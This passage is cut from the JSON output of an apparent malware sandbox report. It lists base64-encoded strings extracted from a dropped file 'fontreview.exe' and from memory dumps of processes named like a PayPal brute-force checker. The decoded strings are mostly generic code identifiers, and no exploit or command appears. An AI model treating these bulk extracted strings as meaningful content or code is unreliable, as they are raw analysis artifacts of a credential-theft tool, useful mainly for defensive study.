File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSZXNvbHZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSdWxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVSdWxlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTdHJhdGVneQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUZW1wbGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUZXN0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVWYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVWYWx1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVXcmFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZhaWx1cmVXcml0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZvckF0dHJpYnV0ZXM=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEdldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEhlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEluZGV4ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbGluZ0NvbnZlbnRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEluaXRpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbElzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbExpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1hbmFnZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE1vZGVs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbE9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFBhcmFtcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb3RvdHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFB1Ymxpc2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJlc29sdmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFN0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFN0cnVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFN5c3RlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFRva2VuaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFV0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdpbmRvd1Byb2NB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdpbmRvd1Byb2NX","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuYWRpYW5fQWJvcmlnaW5hbA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsMUNsaWNr","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQWR2aXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQnJpZGdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ2xhc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29uZmlndXJhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGVjb3JhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXZlbnRBcmdz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUFkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUNyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZURhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZURlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZURpYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZURpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUV2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUV4cG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUhlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUlkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUluZm8=","type":"Ansi","source":"Dropped 